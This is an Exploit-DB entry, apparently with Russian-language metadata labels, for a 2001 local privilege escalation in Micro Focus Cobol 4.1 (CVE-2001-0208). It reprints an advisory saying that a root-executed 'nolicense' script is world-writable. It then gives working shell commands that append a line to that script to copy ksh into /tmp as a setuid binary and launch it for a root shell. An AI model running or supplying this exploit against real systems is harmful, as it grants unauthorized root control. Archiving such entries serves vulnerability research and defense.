Exploit Micro Focus Cobol 4.1 - Arbitrary Command Execution

[Exploiter]

EDB-ID

20621

Проверка EDB

1. Пройдено

Автор

DIXIE FLATLINE

Тип уязвимости

LOCAL

Платформа

UNIX

CVE

cve-2001-0208

Дата публикации

2001-02-12

source: https://www.securityfocus.com/bid/2359/info

Micro Focus Cobol is a development suite for unix platforms offered by Merant. It is typically licensed on a per-user basis.

If Micro Focus Cobol is installed with the 'Apptrack' feature enabled, local users may be able to elevate privileges. A shell script called 'nolicense' that is executed as root is installed with insecure file permissions.

As a result, attackers may be able to execute arbitrary commands as root if the script is modified.

This is known to affect version 4.1. Though unverified, previous versions of Micro Focus Cobol may also be vulnerable. 

$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

[wait until the application server licenses are used up]

$ /tmp/ksh
#